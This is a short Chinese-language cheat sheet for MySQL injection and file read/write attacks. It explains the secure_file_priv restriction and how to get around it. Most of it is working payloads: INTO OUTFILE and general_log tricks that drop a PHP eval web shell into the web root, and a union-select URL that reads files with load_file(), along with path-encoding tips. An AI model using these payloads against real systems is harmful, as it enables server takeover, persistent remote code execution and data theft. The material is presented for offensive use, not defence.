select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php';

1.MYSQL新特性限制文件寫入及替代方法
高版本的MYSQL添加了一個新的特性secure_file_priv,該選項限制了mysql導出文件的權限
secure_file_priv選項
secure_file_priv
1、限制mysqld 不允許導入 | 導出
--secure_file_prive=null
2、限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下
--secure_file_priv=/tmp/
3、不對mysqld 的導入 | 導出做限制
--secure_file_priv=
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
查看secure_file_priv
show global variables like '%secure%';
高權限注入遇到secure_file_priv
在mysql高版本的配置文件中默認沒有secure_file_priv這個選項,但是你用SQL語句來查看secure_file_priv發現,沒配置這個選項就是NULL,也就是說無法導出文件。

替代方法:
要知道路徑
set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';


2高權限文件讀寫
load_file()讀文件
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

1.路徑使用\\ ,否則會被當作轉義符號
2.路徑使用/
3.盤符根路徑下可用c:admin.txt
4.16進制文件名
5.char(路徑ascii)
into outfile / into dumpfile寫文件

